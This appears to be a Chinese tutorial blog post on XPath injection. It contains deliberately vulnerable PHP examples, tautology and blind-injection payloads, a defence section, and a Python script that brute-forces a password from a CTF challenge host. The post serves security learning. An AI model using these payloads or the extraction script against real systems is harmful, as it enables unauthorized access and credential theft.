Xpath注入学习记录

Xpath 简介

XPath 是一门在 XML 文档中查找信息的语言。XPath 可用来在 XML 文档中对元素和属性进行遍历。
XPath 是 W3C XSLT 标准的主要元素,并且 XQuery 和 XPointer 都构建于 XPath 表达之上。
XML 不是 HTML的代替,HTML旨在显示信息,XML旨在显示传输信息,关注的是数据的内容

为什么需要XML

现实生活中一些数据之间往往存在一定的关系。
我们希望能在计算机中保存和处理这些数据的同时能够保存和处理他们之间的关系。
XML就是为了解决这样的需求而产生数据存储格式。

XML 基本格式

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>		<!--xml文件的声明-->
<bookstore>                                                 <!--根元素-->
	<book category="COOKING">        						<!--bookstore的子元素,category为属性-->
		<title>Everyday Italian</title>           			<!--book的子元素,lang为属性-->
		<author>Giada De Laurentiis</author>                <!--book的子元素-->
		<year>2005</year>                                   <!--book的子元素-->
		<price>30.00</price>                                <!--book的子元素-->
	</book>                                                 <!--book的结束-->
</bookstore>                                       			<!--bookstore的结束-->

所有 XML 元素都须有关闭标签。
XML 标签对大小写敏感。
XML 必须正确地嵌套。
XML 文档必须有根元素。
XML 的属性值须加引号。

Xpath注入

Xpath注入攻击是指利用Xpath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息。
Xpath注入发生在当站点使用用户输入的信息来构造请求以获取XML数据。
攻击者对站点发送经过特殊构造的信息来探究站点使用的XML是如何构造的,从而进一步获取正常途径下无法获取的数据。当XML数据被用作账户验证时,攻击者还可以提升他的权限

Xpath注入的原理和sql注入很像, Xpath注入攻击主要是通过构建特殊的输入,这些输入往往是Xpath语法中的一些组合,这些输入将作为参数传入Web 应用程序,通过执行Xpath查询而执行入侵者想要的操作。
但是注入的对象不是数据库users表了,而是一个存储数据的XML文件。攻击者可以获取 XML 数据的组织结构,或者访问在正常情况下不允许访问的数据。
如果 XML 数据被用于用户认证,那么攻击者就可以提升他的权限。因为Xpath不存在访问控制,所以我们不会遇到许多在SQL注入中经常遇到的访问限制。
XML 中没有访问控制或者用户认证,如果用户有权限使用 Xpath 查询,并且之间没有防御系统或者查询语句没有被防御系统过滤,那么用户就能够访问整个 XML 文档。

举个例子

Xpath 的查询语句通常是下面这种类似的样子去验证登录,很显然可以像SQL注入那样去构造 'or '1'='1 这种永真式去执行

$query = "/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";

例子 1

<?php

$xml = simplexml_load_file('blog.xml');
$name = $_GET['name'];
$pwd = md5($_GET['pwd']);
$query = "/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
echo $query;
$result = $xml->xpath($query);
if($result) {
    echo '<h2>Welcome</h2>';
    foreach ($result as $key => $value) {
        echo '<br />ID:'.$value->id;
        echo '<br />Username:'.$value->username;
    }
}
<?xml version="1.0" encoding="UTF-8"?>
<root>
    <users>
        <user>
            <id>1</id>
            <username>admin</username>
            <password type="md5">0192023a7bbd73250516f069df18b500</password>
        </user>
        <user>
            <id>2</id>
            <username>jack</username>
            <password type="md5">1d6c1e168e362bc0092f247399003a88</password>
        </user>
        <user>
            <id>3</id>
            <username>tony</username>
            <password type="md5">cc20f43c8c24dbc0b2539489b113277a</password>
        </user>
    </users>
    <secret>
        <flag>flag{hello_world}</flag>
    </secret>
</root>

登陆失败时
在这里插入图片描述

登录成功时
在这里插入图片描述

但是现在像SQL注入时一样构造永真的万能密码呢,账号可控,密码是MD5

解释下,因为 and 的优先级更高,然后是 FALSE or TRUE or FALSE and FALSE,最终也就是 TRUE,所以全部数据都查出来了
在这里插入图片描述

例子 2

<?php
//$re = array('and','or','count','select','from','union','group','by','limit','insert','where','order','alter','delete','having','max','min','avg','sum','sqrt','rand','concat','sleep');
if(file_exists('secret.xml')) {
    $xml = simplexml_load_file('secret.xml');
    $id=@$_GET['id'];
    //$id=str_replace($re, ' ', $id);
    $query="user/userid[@id='".$id."']";
    if ($id) {
    	echo $query.'<br />';
    }
    $ans = $xml->xpath($query);
    foreach($ans as $x => $x_value)
    {
        echo $id.":  " . $x_value;
        echo "<br />";
    }
    $query="user/key[@id='".$id."']";
    $ans = $xml->xpath($query);
    foreach($ans as $x => $x_value)
    {
        echo $x_value;
        echo "<br />";
    }
}
<?xml version="1.0" encoding="utf-8"?>
<root>
<user>
	<userid id='1'>user1</userid>
	<key id='1'>hint:可没这么简单哦</key>
	<userid id='2'>user2</userid>
	<key id='2'>hint:再试试吧</key>
	<userid id='3'>user3</userid>
	<key id='3'>hint:就快成了</key>
	<userid id='4'>user4</userid>
	<key id='4'>hint:想想SQL怎么注入的</key>
	<userid id='5'>user5</userid>
	<key id='5'>hint:就这么多了</key>
</user>
<admin>
	<userid id='Stk'>狮福tql了吧</userid>
	<key id='Stk'>flag:{sqli_is_not_the_only_way_for_injection}</key>
</admin>
</root>

正常查询 id时
在这里插入图片描述

现在把黑名单给先注释掉,这样就可以像上一个例子一样用 or
在这里插入图片描述

现在把黑名单打开,然后我们之前的例子都只是遍历当前所在节点的数据,可是 flag不在同一节点怎么办

也可以像SQL注入那样从根节点开始遍历,感受一下查询语句,主要还是构造闭合然后Xpath查询 user/userid[@id='1'] | //*| //* ['']
在这里插入图片描述

Xpath 盲注

同样类比 SQL注入,通过布尔逐个判断值

1.盲注根下节点数:
?name='or count(/)=1 or'&pwd=			# 根节点数 1
?name='or count(/*)=1 or'&pwd=			# 根下节点数 1

2.盲注第一级节点:
?name='or substring(name(/*[position()=1]),1,1)='r' or'&pwd=		# root
?name='or substring(name(/*[position()=1]),2,1)='o' or'&pwd=
?name='or string-length(name(/*[1]))=4 or'&pwd=			# 节点名字符串长度 root 就是 4

3.盲注root的下一级节点数:
?name='or count(/root/*)=2 or'&pwd=		# 下一节点数 2

4.盲注root的下一级节点:
?name='or substring(name(/root/*[position()=1]),1,1)='u' or'&pwd=	# 第一个是 users
?name='or substring(name(/root/*[2]),1,1)='s' or'&pwd=	# 第二个是 secret
?name='or substring(name(/root/users/*[2]),1,100)='user' or'&pwd=   # /root/users/user
?name=' or count(/root/users/*)=3 or'&pwd=

5.盲注id为1的user节点下的username值,
?name=' or substring(/root/users/user[2]/username,1,1)='j' or'&pwd=		# /root/users/user/jack
?name=' or /root/users/user[2]/username/text()='jack' or'&pwd=

在这里插入图片描述
在这里插入图片描述

Xpath注入与SQL注入不同

这种攻击可以有效地对付使用Xpath查询或XML数据库来执行身份验证、查找或者其它操作。
Xpath注入攻击同SQL注入攻击类似,但和SQL注入攻击相比较,XPath在以下方面更具有优势。

广泛性,Xpath注入利用的是Xpath语法,由于XPath是一种标准语言

因此只要是利用Xpath语法的 Web应用程序如果未对输入的Xpath查询做严格的处理都可能存在Xpath注入

所以可能在所有的Xpath实现中都包含有该弱点,这和SQL注入有很大区别

在SQL注入攻击过程中根据数据库支持的SQL语法不同,注入的实现也就不同

危害性,Xpath语言几乎可以引用XML文档的所有部分,而这样的引用一般没有访问控制限制。

但在SQL注入中,一个用户的权限可能被限制到某一特定的表、列或者查询

而Xpath注入攻击可以保证得到完整的XML文档,即完整的数据库

Xpath注入防御

Xpath 注入的防御有点像 SQL注入的防御,同样是需要去关注提交的数据的入口和出口

入口处

在数据被处理之前,对用户提交的数据进行验证

是否包含特殊字符,对特殊字符进行编码转换、替换、删除敏感字符或字符串,过滤[ ] " ' and or 等,像单双引号这种,还可以对这类特殊字符进行编码转换或替换

是否包含特定的 Xpath 函数,可以加黑名单以提高安全性,但是和SQL注入一样还要考虑到用户的正常体验和业务需求,比较麻烦

出口处

统一错误信息,尽可能的自定义错误信息,避免通过错误页面的规律来进行盲注的判断,这个和SQL注入也是一样的

[NPUCTF2020]ezlogin

import requests
import re
import time
session = requests.session()
url = "http://db30583e-891b-4f4b-8d19-b1f07c5bd702.node4.buuoj.cn:81/"
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
head = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36',
    'Content-Type': 'application/xml',
}

find = re.compile(r'<input type="hidden" id="token" value="(.*?)" />', re.S)
result = ""
# 猜测根节点名称
payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
# 猜测子节点名称
payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
# 猜测accounts的节点
payload_3 = "<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
# 猜测user节点
payload_4 = "<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
# 跑用户名和密码
payload_username = "<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
payload_password = "<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"


def get_token():
    resp = session.get(url=url)
    token = find.findall(resp.text)[0]
    return token
for x in range(1, 100):
    for char in chars:
        time.sleep(0.3)
        token = get_token()
        playload = payload_password.format(x, char, token)
        print(playload)
        resp = session.post(url=url, headers=head, data=playload)
        if "非法操作" in resp.text:
            result += char
            print(result)
            break
    if "用户名或密码错误" in resp.text:
        break
print(result)
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值